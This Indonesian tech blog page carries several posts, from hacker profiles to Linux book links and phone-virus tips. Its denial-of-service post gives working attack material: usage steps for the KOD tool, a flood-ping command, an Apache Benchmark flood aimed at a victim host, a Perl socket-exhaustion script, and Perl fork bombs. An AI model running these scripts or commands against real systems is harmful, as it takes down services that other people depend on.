14 Hacker Terbaik Dunia

January 27, 2009

Hacker adalah orang yang mempelajari, menganalisa, dan selanjutnya bila menginginkan, bisa membuat, memodifikasi, atau bahkan mengeksploitasi sistem yang terdapat di sebuah perangkat seperti perangkat lunak komputer dan perangkat keras komputer seperti program komputer, administrasi dan hal-hal lainnya , terutama keamanan.

Berikut beberapa profile 14 Hacker Terbaik Dunia untuk saat ini :

1. Kevin Mitnick

Kevin adalah hacker pertama yang wajahnya terpampang dalam poster “FBI Most Wanted”.Kevin juga seorang “Master of Deception” dan telah menulis buku yang berjudul “The Art of Deception”.Buku ini menjelaskan berbagai teknik social engineering untuk mendapatkan akses ke dalam sistem.

2. Linus Torvalds

Seorang hacker sejati, mengembangkan sistem operasi Linux yang merupakan gabungan dari “LINUS MINIX”.Sistem operasi Linux telah menjadi sistem operasi “standar” hacker.Bersama Richard Stallman dengan GNU-nya membangun Linux versi awal dan berkolaborasi dengan programmer, developper dan hacker seluruh dunia untuk mengembangkan kernel Linux.

Read the rest of this entry »


Download Windows XP SP3 di Microsoft Download Center

January 3, 2009

Saya googling dan menemukan alamat download langsung Windows XP SP3 dari server Windows update.

– Download Windows XP SP3 English (316 MB)

Saya masuk Microsoft Download Center dan mensortir berdasarkan tanggal rilis, dan saya mendapati adanya ketersediaan Windows XP SP3 yang lain:

Pengguna Microsoft Dynamics Retail Management System (RMS) disarankan untuk menginstall a hotfix for a Microsoft Dynamics RMS sebelum menginstall Windows XP SP3.


Teknik Pencurian Password

January 2, 2009

Pencurian password, pengambilalihan account, merupakan hal yang sering terjadi
di dunia cyber. Bukan hal yang sulit untuk melakukannya.Tapi banyak yang bertanya-tanya bagaimana cara Hecker dengan gampang mendapakjan Password User.

Ada banyak cara untuk mendapatkan suatu password. Beberapa diantaranya tidak
membutuhkan keahlian khusus. Berikut adalah cara-cara yang paling umum dan
paling sering digunakan:
1. Social Engineering
2. KeyLogger
3. Web Spoofing
4. Menghadang Email
5. Password Cracking

Read the rest of this entry »


Penyerangan dengan Menggunakan DNS Poisoning

November 26, 2008

Sangat menarik untuk di pelajari, itu kesan pertama penulis ketika membaca beberapa artikel tentang metode penyerangan ke nameserver dengan cara poisoning (memberikan racun) kepada nameserver yang memegang otoriti terhadap sebuah domain. Bagaimana cara memberikan racun kepada nameserver? Dan bagaimana dampaknya? Dalam artikel kali ini saya akan mencoba membahas materi ini dengan beberapa visualisasi.

Sebelum kita masuk dalam inti permasalahan saya akan jelaskan terlebih dahulu bagaimana proses query terjadi ketika Anda melakukan request terhadap sebuah domain. Setidaknya ada tiga nameserver yang akan di kontak ketika Anda melakukan request domain yang Anda inginkan. Ketiga nameserver itu adalah:

ISP Nameserver

Root nameserver

Authoritative nameserver

Read the rest of this entry »


Buku Linux Gratisan

November 17, 2008

Informasi tentang berbagai teknik jaringan Internet merupakan komoditas yang sangat langka bagi sebagian besar masyarakat IT di Indonesia. Memang harus di akui bahwa pada hari ini karena akses ke Internet masih sangat sulit terutama di daerah, maka buku cetak maupun majalah masih merupakan alternatif solusi yang paling baik untuk penetrasi informasi & pengetahuan ke berbagai daerah. Karena ternyata informasi / pengetahuan yang berharga sekitar Rp. 12-15 ribu / buku ternyata masih di rasakan murah & cukup wajar lah bagi sebagian besar masyarakat Indonesia.

Akan tetapi bagi kita yang memiliki akses Internet, maka sebetulnya sebagian besar ilmu & pengetahuan tentang jaringan Internet dapat diperoleh secara cuma-cuma. Alhamdullillah, pada saat ini banyak rekan-rekan Open Source yang menyebarkan ilmu-nya secara gratis (cuma-cuma) di Internet. Sebagian dari buku tersebut dapat diperoleh juga di toko buku karena sebagian besar penulis Open Source tersebut juga meminta kepada penerbit untuk menerbitkannya dalam bentuk buku cetak untuk menembus masyarakat yang tidak memiliki akses yang terlalu baik ke Internet.

Umumnya buku-buku Open Source ini di tujukan untuk sistem operasi Linux. Format yang digunakan umumnya PDF yang bisa dibaca menggunakan Acrobat Reader yang bisa di ambil gratis di Internet juga. Linux sendiri adalah sistem operasi Open Source yang bisa di ambil gratisan di Internet. Kalaupun memperoleh copy-nya di Mangga Dua / di toko komputer biasanya membutuhkan biaya sekitar Rp. 20-30.000 / CD. Tidak ada pelanggaran hak cipta sama sekali untuk mengcopykan Linux sebanyak-banyaknya tanpa perlu takut di penjara.

Bagi rekan-rekan yang memiliki akses ke Internet akan membutuhkan waktu minimal sekitar 2-3 jam untuk mengambil buku-buku yang paling penting untuk mengerti tentang Linux ini. Ada beberapa tempat yang dapat saya usulkan untuk mengambil buku-buku tersebut. Tempat yang mungkin perlu di lihat paling awal adalah:

http://pandu.dhs.org

http://pandu.dhs.org/Buku-Online

http://www.linux.or.id

Terutama team PANDU yang di motori oleh I Made Wiryana harus di akui merupakan motor utama pergerakan Linux di Indonesia. Beberapa buku Linux termasuk tutorial Linux-nya yang sangat membantu dapat di ambil secara cuma-cuma tanpa melanggar HAKI. Buku-buku yang sifat tutorial sebagian merupakan bagian dari aktifitas Open Source Campus Agreement (OSCA) untuk membuka wawasan siswa / mahasiswa Indonesia akan Linux, seperti:

  • Tutorial Pelatihan Administrasi Jaringan Linux oleh Andi, Afri & Wisesa.
  • Tutorial Pelatihan Administrasi Sistem Linux oleh Andi, Afri & Wisesa.
  • Tutorial Pelatihan Linux Dasar oleh Andi, Afri & Wisesa.
  • SQL dengan Postgress oleh Owo Sugiana.
  • GnuPlot untuk Orang Lugu oleh Abe Susanto & Wayan Wardana.
  • Dan masih banyak lagi.

Bagi pembaca yang masih penasaran, saya sangat sarankan untuk memasuki situs Web dari berbagai aktifitas mendokumentasikan Linux, seperti

Beberapa buku menarik yang bisa di download secara utuh dari Internet, antara lain adalah:

  • Linux From Scratch oleh Gerard Beekmans
  • Linux Installation Strategies oleh Tobby Banerjee (bagi yang ingin memasang Linux & Windows pada komputer yang sama).
  • Linux Kernel Internals oleh Tigran Aivazian
  • Securing and Optimizing Linux: RedHat Edition oleh Gerhard Mourani.
  • The Linux Network Administrator’s Guide: Second Edition oleh Olaf Kirch & Terry Dawson (sekitar 500+ halaman)
  • Linux Administrator’s Security Guide oleh Kurt Seifried.
  • Linux Sistem Administration Made Easy oleh Steven Framton.
  • The Linux System Administrator’s Guide oleh Lars Wirzenius & Joanna Oja
  • Dan masih banyak sekali lainnya.

Rata-rata setiap buku lebih dari 200-an halaman & semua menjelaskan berbagai hal secara detail tentang Linux. Memang membutuhkan waktu lumayan untuk mengambil buku-buku ini, tapi dengan ketelatenan – kita bisa mengambil beberapa buku yang penting dalam waktu 2-3 jam-an. Sebaiknya pengambilan buku dilakukan pada pukul 4-6 pagi pada waktu seluruh Intenet di Indonesia masih lelap tertidur sehingga hubungan komunikasi masih sangat lancar.

Sumber:ono w.purbo


Serangan Denial of Service

November 13, 2008

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of Service atau yang lebih kitakenal dengan DoS. Beberapa pertanyaan yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.Apa itu Denial of Service (DoS) ?
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga
user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu).
Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.
Beberapa aktifitas DoS adalah:

1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.

Motif penyerang melakukan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of
Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Status subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian
jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya.
Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah ‘distribute Denial of Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan
serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut ‘zombie’ dalam jargon. Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_programargv argc …Denial of Sevice, serangan yang menghabiskan resource
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga
komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap
juga digunakan untuk mem-’forked’ child process. Bagaimanapun spasi swap selalu berubah dan digunakan
dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga
merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini,
maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. Ram
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.
Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk
terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut.
Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS. 􀂙 SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan ‘loophole’
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih
baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service
dengan mencegahmenolak cracker untuk mengakses sistem. 􀂙 Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium. 􀂙 Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut “smurfing”
(http://www.quadrunner.com/~chuegen/smurf.txt).
Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan ’serangan gabungan’ dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang
terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue
Screen of Death

Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache
Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang
diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak
dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah
-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu
selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan
request simultan yang cukup banyak penyerang akan memaksa batasan maksimal
MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila
backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer
Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika
demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan
menyebabkan program dihentikan secara paksa.


5 Kiat Membentengi Ponsel dari Hantaman Virus

November 11, 2008

1. Pastikan Bluetooth dalam Kondisi Hidden Mode

Jika ponsel Anda dilengkapi Bluetooth, pastikan fitur ini berada dalam kondisi hidden mode atau invisible untuk mencegah perangkat Bluetooth orang lain mendeteksi perangkat Anda kecuali memang Anda menghendakinya. Selain itu, matikan Bluetooth jika tidak terpakai. Langkah ini akan cukup melindungi ponsel dari serangan virus yang menyebar melalui Bluetooth.

2. Hati-hati Saat Menerima Kiriman Asing

Ketika menerima aplikasi yang dikirim via Bluetooth atau membuka attachment MMS, berhati-hatilah dari kemungkinan adanya program jahat. Pastikan kiriman itu berasal dari sumber terpercaya. Bahkan jikalaupun kiriman itu berasal dari teman, lebih baik Anda tak membukanya dan menghapusnya jika terdapat konten yang tidak familiar.

3. Download dari Sumber Terpercaya

Pastikan juga selalu men-download konten dari sumber resmi yang terpercaya sehingga ancaman virus bisa tereliminir. Namun hati-hatilah karena bisa jadi kaum kriminal mampu mengkreasi sumber download yang kelihatan terpercaya meskipun sejatinya adalah gudang virus.

4. Pakai Anti Virus

Beberapa software khusus telah ditawarkan untuk menjaga ponsel Anda dari ancaman virus. Pakailah jika Anda merasa memerlukannya.

5. Hubungi Produsen Ponsel Anda

Jika Anda menduga ponsel Anda telah terinfeksi virus, segera kontak produsen ponsel Anda untuk mengambil langkah yang tepat dalam menghindari kerusakan.

sumber: www.detikinet.com